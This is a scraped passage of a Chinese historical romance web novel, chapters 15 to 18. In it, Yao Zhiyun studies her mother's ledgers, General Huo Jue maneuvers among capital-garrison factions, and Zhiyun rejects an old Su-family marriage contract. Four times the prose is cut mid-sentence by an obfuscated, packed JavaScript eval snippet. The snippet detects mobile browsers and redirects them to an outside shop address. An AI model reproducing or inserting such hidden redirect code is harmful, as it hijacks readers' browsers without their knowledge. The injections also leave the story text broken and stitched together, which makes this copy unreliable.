姚知韫没再看她，只转过头，对着镜子，慢慢地将最后一支珠花簪好。铜镜里的人，眉眼依旧淡淡的，只是眼底深处，有什么东西慢慢的变了。 喝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109031|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一碗小桃熬的稠稠的、加了莲子百合的粳米粥，姚知韫觉得身上总算有了些暖和气力。她搁下青瓷碗，用帕子按了按嘴角，带着小桃与芙蓉去了芍药园的书房。 小桃有些讶异——姑娘向来不爱理会这些琐碎庶务的。但她没多问，只利落地取了钥匙，跟着姚知韫就走。 芍药园是爹娘居住的园子，他们去世后，除了风叔派人定期打理外，她从未踏足过，那两扇月洞门，平日里总是虚掩着，像阖上了的一段旧光阴。 晌午的日头，不热烈，照得人软软的，她走得很慢，一路沉默着。 她停在月洞门前，脚步顿了顿，终究还是伸手推开了。 小时候，她是和爹娘一起住在这里的，母亲喜欢芍药，就在这院子里种了很多芍药，如今正值深秋，那些芍药花早已开败，只剩下一丛丛深绿浅褐的叶子，疏疏朗朗的立着，叶边早已打了卷，泛着干枯的黄。 风叔是尽心的人，小径打扫得干干净净，连石缝里也不见一根杂草，那株桂花还零零星星开着，淡淡的香气混在微凉的空气里，若有若无。 恍然间，仿佛能看见父亲坐在那儿，长枪飒爽，母亲坐在树下，手里抚琴，阳光透过枝叶洒下来，光斑在石桌上晃晃悠悠，她就倚在母亲身边，听琴声悠扬，看刀光剑影。 她站了很久。 秋风穿过，吹动她的裙角，一片焦黄的芍药叶子打着旋儿落下来，恰恰落在石桌中央。 她终于转过身，走向了左厢房。 门推开，一股子陈年的、混杂着樟木、纸张和淡淡尘灰的气味便扑面而来。午后的光线从高窗斜射进来，能看见无数细小的尘埃在光柱里缓缓浮动。 里头很暗，小桃点亮了带去的羊角风灯。昏黄的光晕散开，照亮了一排排顶天立地的紫檀木架子。架上整整齐齐码着箱笼，有的蒙了青布，有的就直接露着里头泛黄的书册账本。 姚知韫站在门口，静静看了好一会儿。母亲生前爱洁，连库房也收拾得这般齐整，仿佛主人只是昨日才离开。 她伸手取出一册。封皮上用秀逸的簪花小楷写着“同光十五年年·苏记绸缎庄总账”。翻开内页，纸张已经泛黄发脆，墨色却依旧清晰。一笔一笔，进出收支，日期名目，记得清清楚楚。字是母亲的笔迹，娟秀里头透着筋骨，一行行，一页页，仿佛能看见她当年坐在窗下，就着晨光或灯影，执笔凝神的样子。 姚知韫一册一册地翻看。有田庄的地租细目，有铺面的红利分成，有银楼的流水，甚至还有几笔海外香料生意的往来记录。数目都不小，条目却极清爽，何处进，何处出，盈余几何，亏空几分。 从前，她是从来不细看这些的。 她从来随遇而安，只觉得每年有银子进来，数目多少，总归短不了她的吃穿用度，多些少些，又能如何？ 可如今不一样了。 人不犯我，我不犯人。 人若犯我……她心里头清清楚楚地浮起后半句，像磨亮了的刀刃，沉甸甸，冷冰冰 她抚过那些已经变脆的纸页，指尖能感到细微的、沙沙的纹理。 接下来几日，姚知韫便像把自己种在了书房里。 而，霍抉也从那以后，再没出现在姚府，想来是有其他公务。 15. 京营 霍抉人在京营。 他坐于上首，身子略略往后靠着，手里捏着一只粗瓷茶盏，也不喝，只是用指腹慢慢摩挲着盏口。 霍抉嘴角那点冷意，更深了些，像冬日窗上结的霜花，无声无息地蔓延开。 他心里头明镜似的——那位把他搁在这京营提督的火炉子上烤着，说穿了，也不过是把他当一把刀。 近几年东琅兵强马壮，羽翼渐丰，胃口也跟着大了。 守关的于幽禾，是个硬骨头，也是条老狐狸。可再硬的头，再滑的狐，架不住关外日复一日的重压，架不住关内年复一年的耗损。听说，如今守得也是千难万难。 皇上这时候将他从北境调回来，摁在这个位置上。 左不过是想用他，去镇一镇东琅那头日益骄横的兽。若能引得他们先动手，那便更好——正好顺理成章地，把早年丢了的、梓州以北那十三州，重新圈回版图里来。 到时候，他霍抉便是那开疆拓土的利刃，是青史留名的功臣。 可若败了，正好给了朝堂上那些早就看他眼红的文官，还有龙椅上那位……一个现成的由头，除去他这个心腹大患。 霍抉端起那只早已凉透的粗瓷茶盏，送到唇边，却没喝。只觉那凉意顺着瓷壁，一丝丝，渗进指尖里。 目光扫过下首的两人。 左手边那位，面皮白净，无须，一身簇新的绛紫团花曳撒，手里头恭恭敬敬捧着一卷黄绫子圣旨。 赵千帆。 霍抉眼皮略抬了抬，目光从他脸上滑过去——果不其然，眉眼间透着阴柔，到底可惜了那么好的名字。 一个阉人，竟也堂而皇之做了京营的监军。霍抉心里头冷笑一声，脸上却淡淡的，看不出什么。 右手边那位，是兵部侍郎崔维则，穿着正三品的孔雀补子常服，坐得端端正正，眼观鼻，鼻观心，一副老僧入定的模样。他是来“协理戎政”的，说白了，京营十万张嘴的粮草辎重，都从他手里过。 帐外有风声，卷着营房的门帘一起一落。 霍抉的视线，缓缓扫过面前这两人，又仿佛透过他们，看向了这偌大京营的角角落落。 京营。 名头是好听的，“天子亲军”，“天下精锐”。这话搁在十年前，或许还不算太虚。 可如今呢？ 霍抉回京这些日子，营里营外走了几遭，哪里还有什么精锐气象。 校场上跑马射箭的，多是些吊儿郎当的勋贵子弟，脸是嫩的，手是滑的，拉弓没三两力气，倒是斗鸡走狗、饮酒赌钱的把式熟稔。 正经的营兵，反倒面色黄瘦，三五成群缩在避风处，眼神木木的，没有军人的悍气。 这京营，它更像个戏台子。红的白的脸，你方唱罢我登场。 御司监的赵虢，手伸得最长，这监军赵千帆便是他安进来的眼睛、耳朵，说不定还是把暗刀子。 兵部呢，看着是来协理，崔维则这副泥塑菩萨似的坐在这里，谁知道肚子里揣的是哪本账？粮草晚发一日，军械以次充好，这里头能做文章的地方太多了。 东宫那边，听说也没闲着，几个不起眼的参将位子上，悄没声儿都换上了“自己人”。 赵千帆清清嗓子，尖细的声音打破了沉默：“提督大人，陛下的旨意，是让咱家与崔大人，尽心竭力，辅佐您整顿京营，重振军威。往后，还望提督大人……多多指点。” 他说得客气，语气也软和，可那“辅佐”二字，听着总有些别的滋味。 崔维则这时才撩起眼皮，拱手道：“霍提督，兵部上下，定当竭力保障京营供给。只是如今国库……唉，也确有艰难之处，凡事还需从长计议，徐徐图之。” 徐徐图之。 霍抉慢慢放下茶盏。 瓷底碰着硬木案几，轻轻一声“磕”，脆生生的，在这过分安静的帐子里，显得格外清楚。他脸上没什么表情，眼神也淡淡的，像蒙着一层秋日的薄雾，瞧不出底下的光景。 皇上既想让他做事，又怕他功高震主，安排两个人来制衡他，一个捧着圣旨，一个掌着粮草，一左一右。 “好说，”霍抉开了口，声音不高，平平的，像在说一件与己无关的闲事，“那往后，就劳烦两位，多费心管着京营了。” 他顿了顿，目光在赵千帆那白净的脸上停了停，又扫过崔维则低垂的眼睑。 “我刚回京，身上还有些旧伤，未好利索。往后，营里一应事务，便偏劳二位……精诚合作。” 说完这句，他不再看那两人脸上是何神色，径直起了身。玄色的披风随着动作展开一角，又沉沉落下。他步子很稳，不疾不徐，朝着帐门走去。 赵千帆和崔维则似乎没料到话才起头，他便要抽身，一时都有些怔。待要起身相送，霍抉已抬手，随意向后摆了摆，示意不必。 他径直出了京营，却没往城里走。 他打马向东，像是先闲走，绕着京营周遭的山道土路，七弯八拐，不急不缓的溜了大半个时辰，直到确认身后那些鬼祟的尾巴都被甩干净了，他才猛地一夹马腹，策马如箭，一头扎进了营盘背面的密林深处。 林子里枝叶交错，光线陡然暗下来。马蹄踏过厚厚的积叶，只发出沉闷的沙沙声。穿过这片林子，眼前忽地豁然，竟是京营的围墙，只是偏僻得多，墙头上都长了衰草。他足尖在马镫上轻轻一点，身子便如鹞子般掠起，悄无声息地翻了过去，落地已在营内。 辨了辨方向，他脚步不停，直奔西南角一处不起眼的营房。 霍抉掀了厚重的毡帘进去，里头光线昏暗，先听到一个不耐烦的声音，带着火气： “滚出去——没见本将军正烦着？” 霍抉站定了，没作声。 那人背对着门，正俯身看着案上的一幅舆图，听得动静不对，猛地转过身来。是个年轻将领，一身甲胄未卸，眉宇间带着沙场磨出来的锐气，此刻却全化成了惊愕。 “让谁滚出去？”霍抉开口，声音平平的，仔细听还是隐隐透着愉悦。 那将领浑身一震，脸上的不耐烦霎时扫得干干净净，取而代之的是一片潮红，又惊又愧，急急上前，抱拳便道：“末将不知是将军！甲胄在身，不便全礼，请将军恕罪！” 霍抉伸手托住了他的肘弯，就着昏暗的光，上上下下将眼前人打量了一遍，伸出手，重重拍了拍对方结实的肩膀。 “轻羽，”他叫他的名字，声音沉缓了些，“辛苦了。” 只这一句，薛轻羽的眼眶猛地就红了。他用力抿了抿嘴，才把那股酸热压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112487|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去，喉咙有些发哽：“将军说哪里话……末将的命是将军给的，前程是将军谋的，这点辛苦，算得什么。” 他想起那年寒冬，老娘病得只剩一口气，他走投无路，抢了药铺，被如狼似虎的差役锁进大理寺，打得皮开肉绽，只等做个替死鬼，顶了赵虢管家那桩杀头的罪。是当时还在大理寺任职的霍将军，查明了冤情，救他出狱，还延请名医，治好了他娘的病。 问他愿不愿去边关搏个前程。他哪有不应的？这条命，从那时起，就是将军的了。边关三年，刀光血影，将军又不知救过他多少回。这恩情，拿什么还？唯有这条命，豁出去罢了。 三年前，将军却忽然命他回京，还设法让他领了五军营中掖的兵权。他不懂其中深意，也不问。将军让做什么，便做什么。就是要他此刻去死，他眉头也不会皱一下。 “如何？”霍抉绕过他，在营中主将的那把旧交椅上坐了，手指敲了敲扶手。 薛轻羽深吸一口气，敛去所有情绪，眼神重新变得锐利清明，他当然知道将军问的是什么？“回将军，京营兵马，账面十万。五军营中掖两万，现由末将统领。左右掖各一万，统领是屠申与赵也，实数恐不足六千。三千营两万，统领秦破月，装备最精，但……骄兵难驭，怕是不好调遣。神机营一万，统领赵怀；上直军一万，统领崔峰，尽是勋贵子弟，不堪用；辎重营一万，油水厚，各方势力都盯着。” 霍抉静静地听着，面上没什么波澜。 “依你之见，”他问，“从何处着手？” 薛轻羽略一沉吟，道：“五军营左掖的屠申，有勇无谋，性子直，与右掖的赵也素来不合。他是前任提督提拔的人，提督满门抄斩后，便失了倚仗，如今正惶惶。赵也此人……心思活络，最近与赵虢那边，走动颇勤。末将以为，或可从屠申入手。” “至于三千营，”他顿了顿，“背后只怕是东宫的影子。神机营名义直属朝廷，如今怕是听赵怀的，而赵怀是赵虢的人。其他的……”，薛轻羽话到嘴边，又咽了回去，只抬眼看了看霍抉。 霍抉懂了。那些“其他的”，盘根错节，水深得很。 薛轻羽的能耐，他是信的。既然中掖两万人在他手上，那这两万人，便是这十万京营里，唯一可称“精锐”的底子。至于其他……是该动一动了。皇帝既然非让他趟这趟浑水，他怎能辜负这份“美意”？总要备一份像样的“大礼”才好。 “赵也……”，霍抉低声念了一遍这个名字，嘴角慢慢扯开一点弧度，笑意未达眼底，反倒透出森森的冷。 薛轻羽站在下首，后背无端地漫起一层寒意。 “轻羽，”霍抉抬眼，“我从北边带回一队人马，约三千，都是百战余生的老卒。你想个法子，将他们编入五军营。若是方便……”，他语气微顿，“也给屠申将军与赵也将军的麾下，送一些去。” 薛轻羽心领神会，这是要掺沙子，扎钉子。他抱拳沉声：“是！末将领命。” “青木。”霍抉朝门外低唤一声。 帘子一动，一个精悍沉稳的年轻人悄步进来，躬身而立。 霍抉对薛轻羽道，“都是老熟人，就不用我多说了，往后若有急事，或我不便时，寻他即可。” “是！”青木与薛轻羽齐声应道。 16. 苏老夫人 “将军，”薛轻羽抬起眼，声音压得低了些，“您先前吩咐，留意姚姑娘身边的风吹草动。三日前……苏家的人，到京郊了。” 霍抉原本落在舆图上的目光，倏地凝住了。 他缓缓抬起眼，看向薛轻羽，脸上没什么表情，只是眼底惯有的沉静，一点点结了冰。 “苏家？”他慢慢地重复了一遍这两个字，嘴角扯开一点极淡又极冷的弧度，像是听见了什么荒谬又意料之中的事，“终于……按捺不住了？” 霍抉的手指，无意识地在冰凉的扶手上来回摩挲了一下。 那些刺客……会是苏家派来的么？ 苏家，江南豪富，这些年，他们对京中这个孤女不闻不问，如今霍抉刚回京，刚住进姚府，他们的人便悄然而至。时间，巧合得很。 霍抉闭上眼，将昨夜那血腥惊险的一幕在脑中细细地过。箭矢的来路，刺客服毒的快绝，那般悍然搏命的作风，不像是商贾苏家能豢养的，更像是在权力泥潭里浸淫久了、视人命如草芥的勋贵或阉党手笔。 他们昨日是势必要韫儿的性命，苏家的人到底要做什么？ 他重新睁开眼，眸中冰寒未散，却多了几分沉沉的思量。 “来的是谁？落脚何处？有何动静？”他问，语气不自觉带上了刃口般的锐利。 薛轻羽早有准备，立刻回道：“来的是苏家大管事苏常，带了十来个随从，看着都是精干之人，不像普通家仆。现下住在京郊的通源客栈，包了一座小院。这两日没什么大动作，只派了两个脸生的小厮在姚府后门那条街转悠过两回，或许……是在等什么人。” 霍抉站起身，走到帐边，望着外面沉下来的天色。京郊的暮霭，正一层层地漫上来。 “盯紧了。”他说，背对着薛轻羽，声音里听不出情绪。 “是！”薛轻羽肃然应命。 应完了，他心里悄悄为苏家那一行人，默默地掬一把凉津津的同情泪，惹谁不好？非要惹姚姑娘，那可是将军心尖上的人，搁在心窝里捂着、揣着，怕是连将军自己都不舍得让她皱皱眉头，如今倒好，外头的人倒是先伸了爪子。 他奉命回京，暗地里顶要紧的一桩差事，便是护着姚姑娘，将军说这话的时候虽淡淡的，可薛轻羽是掂量得出来姚姑娘在将军心中的分量。 霍抉转过身，脸上那点冰冷的笑意早已消失无踪，只剩下一片深潭般的平静，水波不兴，连方才那丝寒意也敛了进去。 “听说，玲珑阁的红语姑娘，前几日是不是受委屈了？” 薛轻羽心下一凛，他立刻懂了——将军这是，要动赵也了？念头转得快，嘴里答得更干脆：“是，将军。末将……明白了。” 红语姑娘是玲珑阁的头牌，色艺双绝，这京城里知道的人不少。可知道她是神机营统领赵怀私下里疼着护着的人，就不多了。赵也这人，旁的毛病且不说，偏生有个“怜香惜玉”的癖好，见了出众的女子，便有些走不动道。前几日不知怎地，大约是多灌了几杯黄汤，在玲珑阁里，对红语姑娘说了几句不清不楚的浑话。并放出豪言，要做红语姑娘的入幕之宾。 薛轻羽垂了眼，目光落在自己沾了点尘灰的靴尖上，将眼底那点对赵也怜悯的神色，掩了过去。 霍抉出了京营，打马往京郊而去，绕了一段僻静的山路，在一处不起眼的茶寮前停了，沈知节早候在那里，穿着寻常布衣，像个等活的账房先生，霍抉只与他低语着 无非是“听薛将军调遣。”之类的话，沈知节坐在旁边，一句不问，只点头称是。 最后霍抉说，“安排妥当后，便到姚府。” 沈知节虽诧异，却并不多话，应了声“是”，便垂下了头。 霍抉安排妥当，便带着青木一人离开，略作思考便往通源客栈的方向去，那客栈在京郊算是个齐整的地方，白墙灰瓦，门前挑着只褪了色的青布幌子。 里面倒是热闹的很，这里是京郊外唯一的客栈，南来北往入京的，远行送客话别的，多要在此盘桓，打尖住店喂牲口，生意倒是比城里一些老店还要火上几分。 刚到客栈门口，霍抉便看见一队车马停在门口，三辆马车，朱轮华盖，瞧着便不是寻常人家，后面跟着四辆大车，堆得满满当当，用油布蒙得严实，打头照应的几个仆役，腰杆笔直，眼神活络，一看便是习武之人。 打头车上被搀扶下来一位老妇人，头发梳得一丝不乱，绾着个简单的福寿髻，插一支碧玉簪子，身上是暗紫色织金的褙子，面容清瘦，眉宇间透着长年养尊处优的威严，与一丝不易察觉的疲倦。 搀扶着她的是个少年人，看着不过十六七岁，一身湛青色的杭绸直裰，腰束玉带，生的眉目清朗，唇红齿白，虽是年少，举手投足间却自然流露出被锦绣和诗书熏出来的从容气度，光华内蕴，忍不住让人多看两眼。 片刻工夫，客栈里头便匆匆迎了出来个老管家模样的人，满脸堆笑，对着老夫人和少年躬身行礼，态度恭谨的很。 霍抉牵着马，往边上让了半步，目光却微微一凝。 苏家人。 苏家那位老太太？那她身边那位光华内蕴的少年公子，莫非就是苏家素有才名的二公子？ 他们怎的也到京了？ 既已到了京郊，天色尚未黑透，城门未关，为何不直接进城回府，反倒在这喧嚷的客栈落脚？ 霍抉心下转着念头，面上却是淡淡的，只将马缰绳在手里慢慢绕了两圈，看着那些人被恭恭敬敬地引着，往里面走去，他只是在外面站了良久，才带着青木回城。 待回到姚府，已经是二更时分。 府里各处都静了，只廊下留着几盏值夜的灯笼，晕开一团团昏黄的光。他未惊动任何人，像一片影子，悄无声息地潜到姚知韫卧房外。 窗纸透着暖蒙蒙的微光，想是留了一盏小灯。他立在窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116609|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，听了片刻里头均匀清浅的呼吸声，这才轻轻推开一线虚掩的菱花窗格，掀起厚重的窗帘。 她的睡颜便入了目，她总是有许多的奇思妙想，就比如她将床移到靠近窗棂，说这样一睁眼就能看见满院的桂花，可她又是个怕冷的，便又寻来这厚实的棉布，做了落地的帘子，将房间遮的严严实实的。 她睡着了，帐子打开着，长发散了满枕，眉眼在睡梦里舒展开，褪去了白日那份淡然的壳子，显得格外柔软恬静。 霍抉就站在那儿，静静地看着。夜风从窗隙溜进去，拂动了帐角。他终究没进去，连呼吸都放得轻了，怕扰了这片难得的、属于她的清静安宁。 看了半晌，他缓缓抬手，将窗格依旧掩好，转过身，悄没声地，又没入了廊下那片沉沉的黑暗里。 次日天未亮透，他便离了府。京营是一滩亟待整治的浑水，还有一堆觊觎她的群狼，更别说那些藏在暗处、不知何时会再冒出来的杀机。他忙得脚不沾地。 姚知韫这边也是。母亲的账册摊了满桌，一笔一笔，一家一家，都要理出个头绪来。怕也不是一时一刻的事情。 于是，两人各自在各自的天地里忙碌着。一个在营盘与暗桩间周旋，一个在账簿与旧事里沉潜。秋光在院子里移过来，又移过去，老槐树的叶子又落了一层。 竟也有三日，未曾照面了。 直到这日午膳过后，姚府来了客。 小桃打起帘子进来回话时，声音里带着点没压住的诧异与忐忑： “姑娘……苏家老夫人，并一位表少爷，来访。车马已到门前了。” 姚知韫放下手中的账册，指尖在微凉的纸页上顿了顿。她抬起眼，眸子里光晕沉沉的，闪过些晦涩难明的神色。 他们来做什么？ 关于苏家，她知道的实在不多。母亲极少提及江南娘家的事。她只知道，自母亲下嫁给当年一无所有的父亲后，就与苏家断了往来。 至于母亲当年为何下嫁，她不得而知。可从父母生前相依相守的光景看，都是满得要溢出来的情意。那是做不得假的。 如今外祖父早已故去，这位外祖母虽是外祖父的继室，可也是母亲的亲姨母，可外祖父当年力排众议，将半个苏家的产业给了母亲做陪嫁，定然对母亲是极为疼爱的，可为何后来又老死不相来？ 明明是血脉至亲，却落得如今这个局面。 这里头，定然是藏着故事的。 只是那故事是苦是涩，是恩是债，隔着十几年的光阴尘雾，早已瞧不真切了。 如今苏家的人忽然而至，像一颗石子，投进了这潭沉寂已久的深水。 姚知韫轻轻吸了口气，将账册合拢，理了理并无褶皱的衣袖。窗外的秋阳正好，明晃晃地照进来，却暖不透她心头那点悄然浮起的、微凉的疑云。 “走吧！” 风叔已将苏老夫人与那位表少爷迎至正厅。 17. 婚约 姚知韫上前见了礼，便不客气地坐在主位上，按礼数，自然是要请老夫人上坐的，只是，母亲都不愿意认下的亲事，她又何必上赶着，她又不缺祖宗。 芙蓉上了茶，是今年刚下来的雨前龙井，叶片在官窑白瓷盏里舒展开，清碧碧的，苏老夫人端起茶，却只略沾了沾唇，便搁下了，她目光在厅中缓缓扫过，多宝阁上的摆设，墙上的画，窗下的花，她暗暗地点点头。 目光最后落在姚知韫的脸上，细细的看。 那目光很沉，带着一种久经世事的审度，又似有些复杂，难以言说的东西在里头。 “像，”老夫人忽然开口，声音有些沙哑，却字字清晰，“眉眼口鼻，都像极了璟岚。” 姚知韫只是低下头，并不言语。 苏老夫人嘴角牵动了一下，像是一个未能展开的笑，又像是一丝苦意，“璟岚是我看着长大的，性子、模样都是顶好的”，她语气微顿，话锋轻轻一转，“只是当年——，不过能得你父亲善待，也是她的福气。” 姚知韫心下冷冷一笑，这话说的隐晦，倒是给人留下诸多遐想，是她母亲做错了什么？才嫁与父亲？她虽然与那个女子只有三年的母女情分，可她知道，那样一个女子，绝对不是个糊涂的人，这其中怕是有什么不得已的原因。 见姚知韫还是不接话，苏老夫人有些尴尬，端起茶盏又抿了一口，来掩饰隐隐泛起的怒气，放下茶盏，便又恢复了一派闲暇，“这些年，你一个人在京，苦了你了，如今外祖母来了，韫儿也别怕，有任何事情，外祖母自然为你作主。” 这话说的温和，姚知韫便也温和地接着，“劳老夫人记挂，一切都好。” 苏老夫人微微一怔，却有些看不透了，一个十四岁的孤女，也未曾有长辈教导，却应付得滴水不漏，让她所有的话都像是一根羽毛，低落地飘，甚至发不出一丝的声音。 厅里一时静了下来，老夫人身后那位公子坐在下首，目光清正，也不乱看，只偶尔端起茶抿一口，举止间一派大家风范，倒是引得姚知韫多看了两眼。 苏老夫人的目光在两人之间流转，便也歇了寒暄的心思，直奔主题。 她从袖中取出一个物件。 那是一个锦囊，颜色旧了，边缘有些磨损，她将锦囊放在桌上，指尖轻轻往前一推。 姚知韫微微颔首，芙蓉便上前接过，递到她的手上。 “孩子，”苏老夫人看着姚知韫，眼神里逐渐沉淀出郑重的神色，“我这次来，一是来看看你，二来，是为了一件旧事，也是当年你外祖父定下的一桩婚约。” 姚知韫心头轻轻一跳，她看着那旧锦囊，没动。 老夫人伸手，将锦囊打开，从里头取出一件东西。 是一块玉佩。 上好的羊脂白玉，雕着并蒂莲的纹样，温润莹洁，边缘泛着柔和的宝光，玉佩下头，缀着褪了色的殷红丝绦。 “这是你出生那年，你外祖父亲亲自雕刻的一枚玉佩，是子母佩，这是母佩，子佩当时在你母亲手上，你出生后你外祖父央求你母亲能回苏家，可你母亲执拗，外祖父别无选择，便与你母亲定下婚约，你母亲若是诞下女儿，便许配苏家年岁相当的男子，若是男子，苏家的女儿便嫁入姚家。” 她将玉佩轻轻放在姚知韫面前的桌面上，“如今与你年龄相仿的便是珩儿，”她招招手，方才坐着的那位公子便上前来，“这便是你二表兄苏文珩，也是与人有婚约之人。” 苏文珩作揖行礼，“表妹万福。” 姚知韫却并未起身行礼，只是微微颔首，“苏公子无需多礼。”她称之为公子，已然表明了态度。 厅里彻底地静了。 窗外的日光斜斜照进来，正好落在玉佩上，上面的纹路被照得纤毫毕现，丝丝分明。 姚知韫看着那玉佩，看了很久，目光定定地，像是要从那冰润的玉光里，瞧出点什么东西来。 她心里头，却缓缓地浮起一丝极淡、极荒诞的凉意。 怎么这些人，一个个的，都这么紧盯着她的婚事呢？前脚英国公府宋家刚唱罢，后脚苏家老夫人便拿着块古玉上了台。倒好像她姚知韫一夜之间，真成了什么人人争抢的香饽饽了。 苏姨母今日没露面，倒是稀罕。怕不是正在那儿，为了冯嘉和宋平那桩糟心的婚事，与宋家撕扯不清吧？不然，以她那性子，苏家老夫人登门这样“长脸”又“有利可图”的场合，怎能少得了她？ 宋家那摊浑水，她费了好大劲才刚把脚拔出来，归途便险些将命搭上。惊魂未定，血渍未干，这口气还没喘匀呢，苏家老夫人又携着二十年前的旧约，端端正正坐到了她面前。 履行婚约？ 她指尖无意识地蜷了蜷，触到袖中微凉的衣料。日光在玉佩上慢慢移动，那光便似乎也跟着，一寸寸，凉了下来。 姚知韫缓缓抬眸，眸子里那点子温润的雾霭散尽了，透出一片清凌凌的、结着薄冰的湖面。 这些人算计的太明显了，一个两个，都像是认准了她这孤女无依，是块摆在砧板上、注定要被拆解入腹的肉，连骨头渣子都不打算给她剩下。 她唇角轻轻一牵，不是笑，倒像是将什么极涩的东西抿了下去。再开口时，声音不高，却字字清晰，带着深秋井水般的凉意，直沁到人耳膜里去： “苏老夫人垂爱，婚约之事，本不应是未出阁女子所能置喙的。此乃礼法，知韫虽孤陋，亦不敢忘。” 她微微一顿，目光落回那玉佩上，又缓缓移开，直视着老夫人。 “然，父母早逝，庭训久违。母亲临终前，亦未曾留下半句关于旧约的遗言。既无父母之命在先，如今又无媒妁之言在后。” 她轻轻吸了口气，那口气也是凉的。 “这桩婚约……恕知韫，不能从命。” 苏老夫人闻言，脸上那点温煦的神色，便像冬日窗上的呵气，慢慢地凝住了。 她身子微微向后，靠了靠椅背。这个细微的动作，让她整个人的气势，陡然不同了。 方才还像个叙旧怜幼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122570|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的长辈，此刻，眉宇间那沉淀了几十年的、当家主母的威仪，便一丝丝地透了出来。 她没动怒，甚至嘴角还挂着未褪尽的的笑意。只是那双看过太多事情的眼睛，目光沉甸甸的，像两枚浸过寒水的古玉，定定地落在姚知韫脸上。 “孩子，”她开口，声音还是缓的，却像掺了细沙，有了磨人的力道，“你年纪轻，有些道理，怕是还没经过。” 她顿了顿，指尖在光滑的梨花木扶手上，轻轻叩了一下。那声音很轻，落在过分安静的厅堂里，却有种无形的分量。 “父母之命，媒妁之言，自然是礼。可你父母如今……不在了。”她说“不在了”三个字时，刻意地停顿了一下，让人心里发沉，“我与你外祖父，便是你母亲在这世上，最亲的血脉长辈。这桩婚事，是你外祖父当年亲口许下，玉佩为信。他虽故去，我还在。我今日来，便是来替你外祖父，了结这桩旧约。” 她目光扫过姚知韫微微绷紧的指尖，语气放缓了些，却更不容置疑： “女孩儿家，终身大事，终究要由长辈做主。你如今独自在京，无依无傍，外头多少眼睛盯着？找个妥帖可靠的归宿，才是正经。苏家虽是商贾，却都是至亲之人，如今缔结婚约，也是苏家……对你的一份责任，一份照拂。” 话说到这儿，意思已经亮堂堂地摆在了桌面上。这不是商量，是知会，是长辈不容反抗的决定。 那温和语气底下，是绵里藏针的压力，丝丝缕缕，缠缚过来。 姚知韫心里的火，“腾”地一下，便窜了上来。 她最恨的，便是这个。 打着“长辈”名头，轻轻巧巧几句话，便能将人钉死在一个框子里。你若不服，便是忤逆，便是不孝，便是不识好歹。天大的道理，都站在那一声“长辈”后头，压得你喘不过气，张不开口，仿佛你生来便是错的，连喘气都欠了他们的恩情。 她指尖在袖中猛地收紧，指甲掐进掌心，传来一阵清晰的刺痛，才将那几乎要冲口而出的冷嘲硬生生压了回去。 脸上却反而更淡了，像结了一层薄冰。她抬起眼，目光清清冷冷地迎上苏老夫人那沉甸甸的视线。 “老夫人言重了。”她声音不高，却异常平稳，每个字都像是冰珠子，一颗一颗，落在寂静的空气里，“父母生养之恩，天地可鉴，知韫片刻不敢忘怀。故而，母亲生前既未提此婚约，父亲亦无遗命，做女儿的，便只能守着父母留下的这点骨血与清静度日，不敢以己身妄测亲意，更不敢……以他人之言，代父母之命。” 她微微顿了一顿，眼底那点冰封的湖面下，似有尖锐的东西要破出来。 “孝道在心，在行，不在盲从无据之约。若今日仅凭一枚旧玉、几句旧话，便罔顾母亲生前意愿，贸然应下，那才是……真真不孝了。” 话说到这份上，已是寸步不让，她将那“孝”字，原原本本又掷了回去。 那意思，也再明白不过。她她的亲人只有父母，父母都未认下的长辈，算什么长辈？ 18. 交易 苏老夫人脸上的血色，一点点褪了下去，变成一种僵硬的、泛着青气的白。她看着姚知韫，那眼神复杂得难以形容，有震惊，有被戳中心事的狼狈，更多的是一种权威被挑战后勃然的怒意，以及那怒意底下，一丝连她自己或许也未察觉的……心虚 她“霍”地站起身，动作有些急，带得手边的茶盏晃了晃，清碧的茶汤泼出来些许，在光洁的桌面上洇开一小片深色的湿痕。 “好，好！”她连说了两个“好”字，声音却抖着，是气极了，“你如今，是翅膀硬了，眼里没有长辈了！苏璟岚教养出来的好女儿，竟养出你这等不识礼数、不敬尊长的性子！” 